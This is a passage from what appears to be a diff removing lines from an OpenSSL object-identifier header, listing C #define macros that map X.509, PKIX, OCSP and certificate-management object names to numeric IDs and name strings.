LN_id_aa_issuing_distribution_point "X509v3 Attribute Authority Issuing Distribution Point" -#define SN_id_aa_issuing_distribution_point "aAissuingDistributionPoint" -#define NID_no_assertion 1306 -#define LN_no_assertion "X509v3 No Assertion" -#define SN_no_assertion "noAssertion" -#define NID_indirect_issuer 1305 -#define LN_indirect_issuer "X509v3 Indirect Issuer" -#define SN_indirect_issuer "indirectIssuer" -#define NID_acceptable_privilege_policies 1304 -#define LN_acceptable_privilege_policies "X509v3 Acceptable Privilege Policies" -#define SN_acceptable_privilege_policies "acceptablePrivPolicies" -#define NID_no_rev_avail 403 -#define LN_no_rev_avail "X509v3 No Revocation Available" -#define SN_no_rev_avail "noRevAvail" -#define NID_target_information 402 -#define LN_target_information "X509v3 AC Targeting" -#define SN_target_information "targetInformation" -#define NID_inhibit_any_policy 748 -#define LN_inhibit_any_policy "X509v3 Inhibit Any Policy" -#define SN_inhibit_any_policy "inhibitAnyPolicy" -#define NID_acceptable_cert_policies 1303 -#define LN_acceptable_cert_policies "X509v3 Acceptable Certification Policies" -#define SN_acceptable_cert_policies "acceptableCertPolicies" -#define NID_soa_identifier 1302 -#define LN_soa_identifier "X509v3 Source of Authority Identifier" -#define SN_soa_identifier "sOAIdentifier" -#define NID_user_notice 1301 -#define LN_user_notice "X509v3 User Notice" -#define SN_user_notice "userNotice" -#define NID_attribute_descriptor 1300 -#define LN_attribute_descriptor "X509v3 Attribute Descriptor" -#define SN_attribute_descriptor "attributeDescriptor" -#define NID_freshest_crl 857 -#define LN_freshest_crl "X509v3 Freshest CRL" -#define SN_freshest_crl "freshestCRL" -#define NID_time_specification 1299 -#define LN_time_specification "X509v3 Time Specification" -#define SN_time_specification "timeSpecification" -#define NID_delegated_name_constraints 1298 -#define LN_delegated_name_constraints "X509v3 Delegated Name Constraints" -#define SN_delegated_name_constraints "delegatedNameConstraints" -#define NID_basic_att_constraints 1297 -#define LN_basic_att_constraints "X509v3 Basic Attribute Certificate Constraints" -#define SN_basic_att_constraints "basicAttConstraints" -#define NID_role_spec_cert_identifier 1296 -#define LN_role_spec_cert_identifier "X509v3 Role Specification Certificate Identifier" -#define SN_role_spec_cert_identifier "roleSpecCertIdentifier" -#define NID_authority_attribute_identifier 1295 -#define LN_authority_attribute_identifier "X509v3 Authority Attribute Identifier" -#define SN_authority_attribute_identifier "authorityAttributeIdentifier" -#define NID_ext_key_usage 126 -#define LN_ext_key_usage "X509v3 Extended Key Usage" -#define SN_ext_key_usage "extendedKeyUsage" -#define NID_policy_constraints 401 -#define LN_policy_constraints "X509v3 Policy Constraints" -#define SN_policy_constraints "policyConstraints" -#define NID_authority_key_identifier 90 -#define LN_authority_key_identifier "X509v3 Authority Key Identifier" -#define SN_authority_key_identifier "authorityKeyIdentifier" -#define NID_policy_mappings 747 -#define LN_policy_mappings "X509v3 Policy Mappings" -#define SN_policy_mappings "policyMappings" -#define NID_any_policy 746 -#define LN_any_policy "X509v3 Any Policy" -#define SN_any_policy "anyPolicy" -#define NID_certificate_policies 89 -#define LN_certificate_policies "X509v3 Certificate Policies" -#define SN_certificate_policies "certificatePolicies" -#define NID_crl_distribution_points 103 -#define LN_crl_distribution_points "X509v3 CRL Distribution Points" -#define SN_crl_distribution_points "crlDistributionPoints" -#define NID_name_constraints 666 -#define LN_name_constraints "X509v3 Name Constraints" -#define SN_name_constraints "nameConstraints" -#define NID_certificate_issuer 771 -#define LN_certificate_issuer "X509v3 Certificate Issuer" -#define SN_certificate_issuer "certificateIssuer" -#define NID_issuing_distribution_point 770 -#define LN_issuing_distribution_point "X509v3 Issuing Distribution Point" -#define SN_issuing_distribution_point "issuingDistributionPoint" -#define NID_delta_crl 140 -#define LN_delta_crl "X509v3 Delta CRL Indicator" -#define SN_delta_crl "deltaCRL" -#define LN_invalidity_date "Invalidity Date" -#define SN_invalidity_date "invalidityDate" -#define LN_crl_reason "X509v3 CRL Reason Code" -#define SN_crl_reason "CRLReason" -#define LN_crl_number "X509v3 CRL Number" -#define SN_crl_number "crlNumber" -#define NID_basic_constraints 87 -#define LN_basic_constraints "X509v3 Basic Constraints" -#define SN_basic_constraints "basicConstraints" -#define NID_issuer_alt_name 86 -#define LN_issuer_alt_name "X509v3 Issuer Alternative Name" -#define SN_issuer_alt_name "issuerAltName" -#define NID_subject_alt_name 85 -#define LN_subject_alt_name "X509v3 Subject Alternative Name" -#define SN_subject_alt_name "subjectAltName" -#define NID_private_key_usage_period 84 -#define LN_private_key_usage_period "X509v3 Private Key Usage Period" -#define SN_private_key_usage_period "privateKeyUsagePeriod" -#define NID_key_usage 83 -#define LN_key_usage "X509v3 Key Usage" -#define SN_key_usage "keyUsage" -#define NID_subject_key_identifier 82 -#define LN_subject_key_identifier "X509v3 Subject Key Identifier" -#define SN_subject_key_identifier "subjectKeyIdentifier" -#define NID_subject_directory_attributes 769 -#define LN_subject_directory_attributes "X509v3 Subject Directory Attributes" -#define SN_subject_directory_attributes "subjectDirectoryAttributes" -#define NID_id_ce 81 -#define SN_id_ce "id-ce" -#define NID_mdc2 95 -#define LN_mdc2 "mdc2" -#define SN_mdc2 "MDC2" -#define NID_mdc2WithRSA 96 -#define LN_mdc2WithRSA "mdc2WithRSA" -#define SN_mdc2WithRSA "RSA-MDC2" -#define NID_rsa 19 -#define LN_rsa "rsa" -#define SN_rsa "RSA" -#define NID_X500algorithms 378 -#define LN_X500algorithms "directory services - algorithms" -#define SN_X500algorithms "X500algorithms" -#define NID_dnsName 1092 -#define LN_dnsName "dnsName" -#define NID_countryCode3n 1091 -#define LN_countryCode3n "countryCode3n" -#define SN_countryCode3n "n3" -#define NID_countryCode3c 1090 -#define LN_countryCode3c "countryCode3c" -#define SN_countryCode3c "c3" -#define NID_organizationIdentifier 1089 -#define LN_organizationIdentifier "organizationIdentifier" -#define NID_role 400 -#define LN_role "role" -#define SN_role "role" -#define NID_pseudonym 510 -#define LN_pseudonym "pseudonym" -#define NID_dmdName 892 -#define SN_dmdName "dmdName" -#define NID_deltaRevocationList 891 -#define LN_deltaRevocationList "deltaRevocationList" -#define NID_supportedAlgorithms 890 -#define LN_supportedAlgorithms "supportedAlgorithms" -#define NID_houseIdentifier 889 -#define LN_houseIdentifier "houseIdentifier" -#define NID_uniqueMember 888 -#define LN_uniqueMember "uniqueMember" -#define NID_distinguishedName 887 -#define LN_distinguishedName "distinguishedName" -#define NID_protocolInformation 886 -#define LN_protocolInformation "protocolInformation" -#define NID_enhancedSearchGuide 885 -#define LN_enhancedSearchGuide "enhancedSearchGuide" -#define NID_dnQualifier 174 -#define LN_dnQualifier "dnQualifier" -#define SN_dnQualifier "dnQualifier" -#define NID_x500UniqueIdentifier 503 -#define LN_x500UniqueIdentifier "x500UniqueIdentifier" -#define NID_generationQualifier 509 -#define LN_generationQualifier "generationQualifier" -#define NID_initials 101 -#define LN_initials "initials" -#define SN_initials "initials" -#define NID_givenName 99 -#define LN_givenName "givenName" -#define SN_givenName "GN" -#define NID_name 173 -#define LN_name "name" -#define SN_name "name" -#define NID_crossCertificatePair 884 -#define LN_crossCertificatePair "crossCertificatePair" -#define NID_certificateRevocationList 883 -#define LN_certificateRevocationList "certificateRevocationList" -#define NID_authorityRevocationList 882 -#define LN_authorityRevocationList "authorityRevocationList" -#define NID_cACertificate 881 -#define LN_cACertificate "cACertificate" -#define NID_userCertificate 880 -#define LN_userCertificate "userCertificate" -#define NID_userPassword 879 -#define LN_userPassword "userPassword" -#define NID_seeAlso 878 -#define SN_seeAlso "seeAlso" -#define NID_roleOccupant 877 -#define LN_roleOccupant "roleOccupant" -#define NID_owner 876 -#define SN_owner "owner" -#define NID_member 875 -#define SN_member "member" -#define NID_supportedApplicationContext 874 -#define LN_supportedApplicationContext "supportedApplicationContext" -#define NID_presentationAddress 873 -#define LN_presentationAddress "presentationAddress" -#define NID_preferredDeliveryMethod 872 -#define LN_preferredDeliveryMethod "preferredDeliveryMethod" -#define NID_destinationIndicator 871 -#define LN_destinationIndicator "destinationIndicator" -#define NID_registeredAddress 870 -#define LN_registeredAddress "registeredAddress" -#define NID_internationaliSDNNumber 869 -#define LN_internationaliSDNNumber "internationaliSDNNumber" -#define NID_x121Address 868 -#define LN_x121Address "x121Address" -#define NID_facsimileTelephoneNumber 867 -#define LN_facsimileTelephoneNumber "facsimileTelephoneNumber" -#define NID_teletexTerminalIdentifier 866 -#define LN_teletexTerminalIdentifier "teletexTerminalIdentifier" -#define NID_telexNumber 865 -#define LN_telexNumber "telexNumber" -#define NID_telephoneNumber 864 -#define LN_telephoneNumber "telephoneNumber" -#define NID_physicalDeliveryOfficeName 863 -#define LN_physicalDeliveryOfficeName "physicalDeliveryOfficeName" -#define NID_postOfficeBox 862 -#define LN_postOfficeBox "postOfficeBox" -#define NID_postalCode 661 -#define LN_postalCode "postalCode" -#define NID_postalAddress 861 -#define LN_postalAddress "postalAddress" -#define NID_businessCategory 860 -#define LN_businessCategory "businessCategory" -#define NID_searchGuide 859 -#define LN_searchGuide "searchGuide" -#define NID_description 107 -#define LN_description "description" -#define NID_title 106 -#define LN_title "title" -#define SN_title "title" -#define NID_organizationalUnitName 18 -#define LN_organizationalUnitName "organizationalUnitName" -#define SN_organizationalUnitName "OU" -#define NID_organizationName 17 -#define LN_organizationName "organizationName" -#define SN_organizationName "O" -#define NID_streetAddress 660 -#define LN_streetAddress "streetAddress" -#define SN_streetAddress "street" -#define NID_stateOrProvinceName 16 -#define LN_stateOrProvinceName "stateOrProvinceName" -#define SN_stateOrProvinceName "ST" -#define NID_localityName 15 -#define LN_localityName "localityName" -#define SN_localityName "L" -#define NID_countryName 14 -#define LN_countryName "countryName" -#define SN_countryName "C" -#define NID_serialNumber 105 -#define LN_serialNumber "serialNumber" -#define NID_surname 100 -#define LN_surname "surname" -#define SN_surname "SN" -#define NID_commonName 13 -#define LN_commonName "commonName" -#define SN_commonName "CN" -#define NID_X509 12 -#define SN_X509 "X509" -#define NID_X500 11 -#define LN_X500 "directory services (X.500)" -#define SN_X500 "X500" -#define NID_sxnet 143 -#define LN_sxnet "Strong Extranet ID" -#define SN_sxnet "SXNetID" -#define NID_blake2s256 1057 -#define LN_blake2s256 "blake2s256" -#define SN_blake2s256 "BLAKE2s256" -#define NID_blake2b512 1056 -#define LN_blake2b512 "blake2b512" -#define SN_blake2b512 "BLAKE2b512" -#define NID_blake2smac 1202 -#define LN_blake2smac "blake2smac" -#define SN_blake2smac "BLAKE2SMAC" -#define NID_blake2bmac 1201 -#define LN_blake2bmac "blake2bmac" -#define SN_blake2bmac "BLAKE2BMAC" -#define NID_ripemd160WithRSA 119 -#define LN_ripemd160WithRSA "ripemd160WithRSA" -#define SN_ripemd160WithRSA "RSA-RIPEMD160" -#define NID_ripemd160 117 -#define LN_ripemd160 "ripemd160" -#define SN_ripemd160 "RIPEMD160" -#define NID_sha1WithRSA 115 -#define LN_sha1WithRSA "sha1WithRSA" -#define SN_sha1WithRSA "RSA-SHA1-2" -#define NID_dsaWithSHA1_2 70 -#define LN_dsaWithSHA1_2 "dsaWithSHA1-old" -#define SN_dsaWithSHA1_2 "DSA-SHA1-old" -#define NID_sha1 64 -#define LN_sha1 "sha1" -#define SN_sha1 "SHA1" -#define NID_sha 41 -#define LN_sha "sha" -#define SN_sha "SHA" -#define NID_desx_cbc 80 -#define LN_desx_cbc "desx-cbc" -#define SN_desx_cbc "DESX-CBC" -#define NID_des_ede3_ofb64 63 -#define LN_des_ede3_ofb64 "des-ede3-ofb" -#define SN_des_ede3_ofb64 "DES-EDE3-OFB" -#define NID_des_ede_ofb64 62 -#define LN_des_ede_ofb64 "des-ede-ofb" -#define SN_des_ede_ofb64 "DES-EDE-OFB" -#define NID_des_ede3_cfb64 61 -#define LN_des_ede3_cfb64 "des-ede3-cfb" -#define SN_des_ede3_cfb64 "DES-EDE3-CFB" -#define NID_des_ede_cfb64 60 -#define LN_des_ede_cfb64 "des-ede-cfb" -#define SN_des_ede_cfb64 "DES-EDE-CFB" -#define NID_des_ede_cbc 43 -#define LN_des_ede_cbc "des-ede-cbc" -#define SN_des_ede_cbc "DES-EDE-CBC" -#define NID_des_ede3_ecb 33 -#define LN_des_ede3_ecb "des-ede3" -#define SN_des_ede3_ecb "DES-EDE3" -#define NID_des_ede_ecb 32 -#define LN_des_ede_ecb "des-ede" -#define SN_des_ede_ecb "DES-EDE" -#define NID_shaWithRSAEncryption 42 -#define LN_shaWithRSAEncryption "shaWithRSAEncryption" -#define SN_shaWithRSAEncryption "RSA-SHA" -#define NID_dsaWithSHA 66 -#define LN_dsaWithSHA "dsaWithSHA" -#define SN_dsaWithSHA "DSA-SHA" -#define NID_dsa_2 67 -#define LN_dsa_2 "dsaEncryption-old" -#define SN_dsa_2 "DSA-old" -#define NID_rsaSignature 377 -#define SN_rsaSignature "rsaSignature" -#define NID_des_cfb64 30 -#define LN_des_cfb64 "des-cfb" -#define SN_des_cfb64 "DES-CFB" -#define NID_des_ofb64 45 -#define LN_des_ofb64 "des-ofb" -#define SN_des_ofb64 "DES-OFB" -#define NID_des_cbc 31 -#define LN_des_cbc "des-cbc" -#define SN_des_cbc "DES-CBC" -#define NID_des_ecb 29 -#define LN_des_ecb "des-ecb" -#define SN_des_ecb "DES-ECB" -#define NID_md5WithRSA 104 -#define LN_md5WithRSA "md5WithRSA" -#define SN_md5WithRSA "RSA-NP-MD5" -#define NID_algorithm 376 -#define LN_algorithm "algorithm" -#define SN_algorithm "algorithm" -#define NID_id_pkix_OCSP_trustRoot 375 -#define LN_id_pkix_OCSP_trustRoot "Trust Root" -#define SN_id_pkix_OCSP_trustRoot "trustRoot" -#define NID_id_pkix_OCSP_path 374 -#define SN_id_pkix_OCSP_path "path" -#define NID_id_pkix_OCSP_valid 373 -#define SN_id_pkix_OCSP_valid "valid" -#define NID_id_pkix_OCSP_extendedStatus 372 -#define LN_id_pkix_OCSP_extendedStatus "Extended OCSP Status" -#define SN_id_pkix_OCSP_extendedStatus "extendedStatus" -#define NID_id_pkix_OCSP_serviceLocator 371 -#define LN_id_pkix_OCSP_serviceLocator "OCSP Service Locator" -#define SN_id_pkix_OCSP_serviceLocator "serviceLocator" -#define NID_id_pkix_OCSP_archiveCutoff 370 -#define LN_id_pkix_OCSP_archiveCutoff "OCSP Archive Cutoff" -#define SN_id_pkix_OCSP_archiveCutoff "archiveCutoff" -#define NID_id_pkix_OCSP_noCheck 369 -#define LN_id_pkix_OCSP_noCheck "OCSP No Check" -#define SN_id_pkix_OCSP_noCheck "noCheck" -#define NID_id_pkix_OCSP_acceptableResponses 368 -#define LN_id_pkix_OCSP_acceptableResponses "Acceptable OCSP Responses" -#define SN_id_pkix_OCSP_acceptableResponses "acceptableResponses" -#define NID_id_pkix_OCSP_CrlID 367 -#define LN_id_pkix_OCSP_CrlID "OCSP CRL ID" -#define SN_id_pkix_OCSP_CrlID "CrlID" -#define NID_id_pkix_OCSP_Nonce 366 -#define LN_id_pkix_OCSP_Nonce "OCSP Nonce" -#define SN_id_pkix_OCSP_Nonce "Nonce" -#define NID_id_pkix_OCSP_basic 365 -#define LN_id_pkix_OCSP_basic "Basic OCSP Response" -#define SN_id_pkix_OCSP_basic "basicOCSPResponse" -#define NID_rpkiNotify 1245 -#define LN_rpkiNotify "RPKI Notify" -#define SN_rpkiNotify "rpkiNotify" -#define NID_signedObject 1244 -#define LN_signedObject "Signed Object" -#define SN_signedObject "signedObject" -#define NID_rpkiManifest 1243 -#define LN_rpkiManifest "RPKI Manifest" -#define SN_rpkiManifest "rpkiManifest" -#define NID_caRepository 785 -#define LN_caRepository "CA Repository" -#define SN_caRepository "caRepository" -#define NID_ad_dvcs 364 -#define LN_ad_dvcs "ad dvcs" -#define SN_ad_dvcs "AD_DVCS" -#define NID_ad_timeStamping 363 -#define LN_ad_timeStamping "AD Time Stamping" -#define SN_ad_timeStamping "ad_timestamping" -#define NID_ad_ca_issuers 179 -#define LN_ad_ca_issuers "CA Issuers" -#define SN_ad_ca_issuers "caIssuers" -#define NID_ad_OCSP 178 -#define LN_ad_OCSP "OCSP" -#define SN_ad_OCSP "OCSP" -#define NID_Independent 667 -#define LN_Independent "Independent" -#define SN_Independent "id-ppl-independent" -#define NID_id_ppl_inheritAll 665 -#define LN_id_ppl_inheritAll "Inherit all" -#define SN_id_ppl_inheritAll "id-ppl-inheritAll" -#define NID_id_ppl_anyLanguage 664 -#define LN_id_ppl_anyLanguage "Any language" -#define SN_id_ppl_anyLanguage "id-ppl-anyLanguage" -#define NID_id_cct_PKIResponse 362 -#define SN_id_cct_PKIResponse "id-cct-PKIResponse" -#define NID_id_cct_PKIData 361 -#define SN_id_cct_PKIData "id-cct-PKIData" -#define NID_id_cct_crs 360 -#define SN_id_cct_crs "id-cct-crs" -#define NID_ipAddr_asNumberv2 1242 -#define SN_ipAddr_asNumberv2 "ipAddr-asNumberv2" -#define NID_ipAddr_asNumber 1241 -#define SN_ipAddr_asNumber "ipAddr-asNumber" -#define NID_id_qcs_pkixQCSyntax_v1 359 -#define SN_id_qcs_pkixQCSyntax_v1 "id-qcs-pkixQCSyntax-v1" -#define NID_id_aca_encAttrs 399 -#define SN_id_aca_encAttrs "id-aca-encAttrs" -#define NID_id_aca_role 358 -#define SN_id_aca_role "id-aca-role" -#define NID_id_aca_group 357 -#define SN_id_aca_group "id-aca-group" -#define NID_id_aca_chargingIdentity 356 -#define SN_id_aca_chargingIdentity "id-aca-chargingIdentity" -#define NID_id_aca_accessIdentity 355 -#define SN_id_aca_accessIdentity "id-aca-accessIdentity" -#define NID_id_aca_authenticationInfo 354 -#define SN_id_aca_authenticationInfo "id-aca-authenticationInfo" -#define NID_id_pda_countryOfResidence 353 -#define SN_id_pda_countryOfResidence "id-pda-countryOfResidence" -#define NID_id_pda_countryOfCitizenship 352 -#define SN_id_pda_countryOfCitizenship "id-pda-countryOfCitizenship" -#define NID_id_pda_gender 351 -#define SN_id_pda_gender "id-pda-gender" -#define NID_id_pda_placeOfBirth 349 -#define SN_id_pda_placeOfBirth "id-pda-placeOfBirth" -#define NID_id_pda_dateOfBirth 348 -#define SN_id_pda_dateOfBirth "id-pda-dateOfBirth" -#define NID_id_on_SmtpUTF8Mailbox 1208 -#define LN_id_on_SmtpUTF8Mailbox "Smtp UTF8 Mailbox" -#define SN_id_on_SmtpUTF8Mailbox "id-on-SmtpUTF8Mailbox" -#define NID_NAIRealm 1211 -#define LN_NAIRealm "NAIRealm" -#define SN_NAIRealm "id-on-NAIRealm" -#define NID_SRVName 1210 -#define LN_SRVName "SRVName" -#define SN_SRVName "id-on-dnsSRV" -#define NID_XmppAddr 1209 -#define LN_XmppAddr "XmppAddr" -#define SN_XmppAddr "id-on-xmppAddr" -#define NID_id_on_hardwareModuleName 1321 -#define LN_id_on_hardwareModuleName "Hardware Module Name" -#define SN_id_on_hardwareModuleName "id-on-hardwareModuleName" -#define NID_id_on_permanentIdentifier 858 -#define LN_id_on_permanentIdentifier "Permanent Identifier" -#define SN_id_on_permanentIdentifier "id-on-permanentIdentifier" -#define NID_id_on_personalData 347 -#define SN_id_on_personalData "id-on-personalData" -#define NID_id_cmc_confirmCertAcceptance 346 -#define SN_id_cmc_confirmCertAcceptance "id-cmc-confirmCertAcceptance" -#define NID_id_cmc_popLinkWitness 345 -#define SN_id_cmc_popLinkWitness "id-cmc-popLinkWitness" -#define NID_id_cmc_popLinkRandom 344 -#define SN_id_cmc_popLinkRandom "id-cmc-popLinkRandom" -#define NID_id_cmc_queryPending 343 -#define SN_id_cmc_queryPending "id-cmc-queryPending" -#define NID_id_cmc_responseInfo 342 -#define SN_id_cmc_responseInfo "id-cmc-responseInfo" -#define NID_id_cmc_regInfo 341 -#define SN_id_cmc_regInfo "id-cmc-regInfo" -#define NID_id_cmc_revokeRequest 340 -#define SN_id_cmc_revokeRequest "id-cmc-revokeRequest" -#define NID_id_cmc_getCRL 339 -#define SN_id_cmc_getCRL "id-cmc-getCRL" -#define NID_id_cmc_getCert 338 -#define SN_id_cmc_getCert "id-cmc-getCert" -#define NID_id_cmc_lraPOPWitness 337 -#define SN_id_cmc_lraPOPWitness "id-cmc-lraPOPWitness" -#define NID_id_cmc_decryptedPOP 336 -#define SN_id_cmc_decryptedPOP "id-cmc-decryptedPOP" -#define NID_id_cmc_encryptedPOP 335 -#define SN_id_cmc_encryptedPOP "id-cmc-encryptedPOP" -#define NID_id_cmc_addExtensions 334 -#define SN_id_cmc_addExtensions "id-cmc-addExtensions" -#define NID_id_cmc_recipientNonce 333 -#define SN_id_cmc_recipientNonce "id-cmc-recipientNonce" -#define NID_id_cmc_senderNonce 332 -#define SN_id_cmc_senderNonce "id-cmc-senderNonce" -#define NID_id_cmc_transactionId 331 -#define SN_id_cmc_transactionId "id-cmc-transactionId" -#define NID_id_cmc_dataReturn 330 -#define SN_id_cmc_dataReturn "id-cmc-dataReturn" -#define NID_id_cmc_identityProof 329 -#define SN_id_cmc_identityProof "id-cmc-identityProof" -#define NID_id_cmc_identification 328 -#define SN_id_cmc_identification "id-cmc-identification" -#define NID_id_cmc_statusInfo 327 -#define SN_id_cmc_statusInfo "id-cmc-statusInfo" -#define NID_id_alg_dh_pop 326 -#define SN_id_alg_dh_pop "id-alg-dh-pop" -#define NID_id_alg_dh_sig_hmac_sha1 325 -#define SN_id_alg_dh_sig_hmac_sha1 "id-alg-dh-sig-hmac-sha1" -#define NID_id_alg_noSignature 324 -#define SN_id_alg_noSignature "id-alg-noSignature" -#define NID_id_alg_des40 323 -#define SN_id_alg_des40 "id-alg-des40" -#define NID_id_regInfo_certReq 322 -#define SN_id_regInfo_certReq "id-regInfo-certReq" -#define NID_id_regInfo_utf8Pairs 321 -#define SN_id_regInfo_utf8Pairs "id-regInfo-utf8Pairs" -#define SN_id_regCtrl_rsaKeyLen "id-regCtrl-rsaKeyLen" -#define SN_id_regCtrl_algId "id-regCtrl-algId" -#define NID_id_regCtrl_altCertTemplate 1258 -#define SN_id_regCtrl_altCertTemplate "id-regCtrl-altCertTemplate" -#define NID_id_regCtrl_protocolEncrKey 320 -#define SN_id_regCtrl_protocolEncrKey "id-regCtrl-protocolEncrKey" -#define NID_id_regCtrl_oldCertID 319 -#define SN_id_regCtrl_oldCertID "id-regCtrl-oldCertID" -#define NID_id_regCtrl_pkiArchiveOptions 318 -#define SN_id_regCtrl_pkiArchiveOptions "id-regCtrl-pkiArchiveOptions" -#define NID_id_regCtrl_pkiPublicationInfo 317 -#define SN_id_regCtrl_pkiPublicationInfo "id-regCtrl-pkiPublicationInfo" -#define NID_id_regCtrl_authenticator 316 -#define SN_id_regCtrl_authenticator "id-regCtrl-authenticator" -#define NID_id_regCtrl_regToken 315 -#define SN_id_regCtrl_regToken "id-regCtrl-regToken" -#define NID_id_regInfo 314 -#define SN_id_regInfo "id-regInfo" -#define NID_id_regCtrl 313 -#define SN_id_regCtrl "id-regCtrl" -#define NID_id_it_crls 1257 -#define SN_id_it_crls "id-it-crls" -#define SN_id_it_crlStatusList "id-it-crlStatusList" -#define NID_id_it_certProfile 1255 -#define SN_id_it_certProfile "id-it-certProfile" -#define SN_id_it_rootCaCert "id-it-rootCaCert" -#define SN_id_it_certReqTemplate "id-it-certReqTemplate" -#define NID_id_it_rootCaKeyUpdate 1224 -#define SN_id_it_rootCaKeyUpdate "id-it-rootCaKeyUpdate" -#define SN_id_it_caCerts "id-it-caCerts" -#define NID_id_it_suppLangTags 784 -#define SN_id_it_suppLangTags "id-it-suppLangTags" -#define NID_id_it_origPKIMessage 312 -#define SN_id_it_origPKIMessage "id-it-origPKIMessage" -#define NID_id_it_confirmWaitTime 311 -#define SN_id_it_confirmWaitTime "id-it-confirmWaitTime" -#define NID_id_it_implicitConfirm 310 -#define SN_id_it_implicitConfirm "id-it-implicitConfirm" -#define NID_id_it_revPassphrase 309 -#define SN_id_it_revPassphrase "id-it-revPassphrase" -#define NID_id_it_keyPairParamRep 308 -#define SN_id_it_keyPairParamRep "id-it-keyPairParamRep" -#define NID_id_it_keyPairParamReq 307 -#define SN_id_it_keyPairParamReq "id-it-keyPairParamReq" -#define NID_id_it_subscriptionResponse 306 -#define SN_id_it_subscriptionResponse "id-it-subscriptionResponse" -#define NID_id_it_subscriptionRequest 305 -#define SN_id_it_subscriptionRequest "id-it-subscriptionRequest" -#define NID_id_it_unsupportedOIDs 304 -#define SN_id_it_unsupportedOIDs "id-it-unsupportedOIDs" -#define NID_id_it_currentCRL 303 -#define SN_id_it_currentCRL "id-it-currentCRL" -#define NID_id_it_caKeyUpdateInfo 302 -#define SN_id_it_caKeyUpdateInfo "id-it-caKeyUpdateInfo" -#define NID_id_it_preferredSymmAlg 301 -#define SN_id_it_preferredSymmAlg "id-it-preferredSymmAlg" -#define NID_id_it_encKeyPairTypes 300 -#define SN_id_it_encKeyPairTypes "id-it-encKeyPairTypes" -#define NID_id_it_signKeyPairTypes 299 -#define SN_id_it_signKeyPairTypes "id-it-signKeyPairTypes" -#define NID_id_it_caProtEncCert 298 -#define SN_id_it_caProtEncCert "id-it-caProtEncCert" -#define NID_cmKGA 1222 -#define LN_cmKGA "Certificate Management Key Generation Authority" -#define SN_cmKGA "cmKGA" -#define NID_id_kp_BrandIndicatorforMessageIdentification 1221 -#define LN_id_kp_BrandIndicatorforMessageIdentification "Brand Indicator for Message Identification" -#define SN_id_kp_BrandIndicatorforMessageIdentification "id-kp-BrandIndicatorforMessageIdentification" -#define NID_id_kp_bgpsec_router 1220 -#define LN_id_kp_bgpsec_router "BGPsec Router" -#define SN_id_kp_bgpsec_router "id-kp-bgpsec-router" -#define NID_cmcArchive 1219 -#define LN_cmcArchive "CMC Archive Server" -#define SN_cmcArchive "cmcArchive" -#define NID_cmcRA 1132 -#define LN_cmcRA "CMC Registration Authority" -#define SN_cmcRA "cmcRA" -#define NID_cmcCA 1131 -#define LN_cmcCA "CMC Certificate Authority" -#define SN_cmcCA "cmcCA" -#define NID_sendProxiedOwner 1030 -#define LN_sendProxiedOwner "Send Proxied Owner" -#define SN_sendProxiedOwner "sendProxiedOwner" -#define NID_sendOwner 1029 -#define LN_sendOwner "Send Owner" -#define SN_sendOwner "sendOwner" -#define NID_sendProxiedRouter 1028 -#define LN_sendProxiedRouter "Send Proxied Router" -#define SN_sendProxiedRouter "sendProxiedRouter" -#define NID_sendRouter 1027 -#define LN_sendRouter "Send Router" -#define SN_sendRouter "sendRouter" -#define NID_sshServer 1026 -#define LN_sshServer "SSH Server" -#define SN_sshServer "secureShellServer" -#define NID_sshClient 1025 -#define LN_sshClient "SSH Client" -#define SN_sshClient "secureShellClient" -#define NID_capwapWTP 1024 -#define LN_capwapWTP "Ctrl/Provision WAP Termination" -#define SN_capwapWTP "capwapWTP" -#define NID_capwapAC 1023 -#define LN_capwapAC "Ctrl/provision WAP Access" -#define SN_capwapAC "capwapAC" -#define NID_ipsec_IKE 1022 -#define LN_ipsec_IKE "ipsec Internet Key Exchange" -#define SN_ipsec_IKE "ipsecIKE" -#define NID_dvcs 297 -#define LN_dvcs "dvcs" -#define SN_dvcs "DVCS" -#define NID_OCSP_sign 180 -#define LN_OCSP_sign "OCSP Signing" -#define SN_OCSP_sign "OCSPSigning" -#define NID_time_stamp 133 -#define LN_time_stamp "Time Stamping" -#define SN_time_stamp "timeStamping" -#define NID_ipsecUser 296 -#define LN_ipsecUser "IPSec User" -#define SN_ipsecUser "ipsecUser" -#define NID_ipsecTunnel 295 -#define LN_ipsecTunnel "IPSec Tunnel" -#define SN_ipsecTunnel "ipsecTunnel" -#define NID_ipsecEndSystem 294 -#define LN_ipsecEndSystem "IPSec End System" -#define SN_ipsecEndSystem "ipsecEndSystem" -#define NID_email_protect 132 -#define LN_email_protect "E-mail Protection" -#define SN_email_protect "emailProtection" -#define NID_code_sign 131 -#define LN_code_sign "Code Signing" -#define SN_code_sign "codeSigning" -#define NID_client_auth 130 -#define LN_client_auth "TLS Web Client Authentication" -#define SN_client_auth "clientAuth" -#define NID_server_auth 129 -#define LN_server_auth "TLS Web Server Authentication" -#define SN_server_auth "serverAuth" -#define NID_textNotice 293 -#define SN_textNotice "textNotice" -#define NID_id_qt_unotice 165 -#define LN_id_qt_unotice "Policy Qualifier User Notice" -#define SN_id_qt_unotice "id-qt-unotice" -#define NID_id_qt_cps 164 -#define LN_id_qt_cps "Policy Qualifier CPS" -#define SN_id_qt_cps "id-qt-cps" -#define NID_sbgp_autonomousSysNumv2 1240 -#define SN_sbgp_autonomousSysNumv2 "sbgp-autonomousSysNumv2" -#define NID_sbgp_ipAddrBlockv2 1239 -#define SN_sbgp_ipAddrBlockv2 "sbgp-ipAddrBlockv2" -#define NID_tlsfeature 1020 -#define LN_tlsfeature "TLS Feature" -#define SN_tlsfeature "tlsfeature" -#define NID_proxyCertInfo 663 -#define LN_proxyCertInfo "Proxy Certificate Information" -#define SN_proxyCertInfo "proxyCertInfo" -#define NID_sinfo_access 398 -#define LN_sinfo_access "Subject Information Access" -#define SN_sinfo_access "subjectInfoAccess" -#define NID_ac_proxying 397 -#define SN_ac_proxying "ac-proxying" -#define NID_sbgp_routerIdentifier 292 -#define SN_sbgp_routerIdentifier "sbgp-routerIdentifier" -#define NID_sbgp_autonomousSysNum 291 -#define SN_sbgp_autonomousSysNum "sbgp-autonomousSysNum" -#define NID_sbgp_ipAddrBlock 290 -#define SN_sbgp_ipAddrBlock "sbgp-ipAddrBlock" -#define NID_aaControls 289 -#define SN_aaControls "aaControls" -#define NID_ac_targeting 288 -#define SN_ac_targeting "ac-targeting" -#define NID_ac_auditEntity 1323 -#define NID_ac_auditIdentity 287 -#define LN_ac_auditIdentity "X509v3 Audit Identity" -#define SN_ac_auditIdentity "ac-auditIdentity" -#define NID_qcStatements 286 -#define SN_qcStatements "qcStatements" -#define NID_biometricInfo 285 -#define 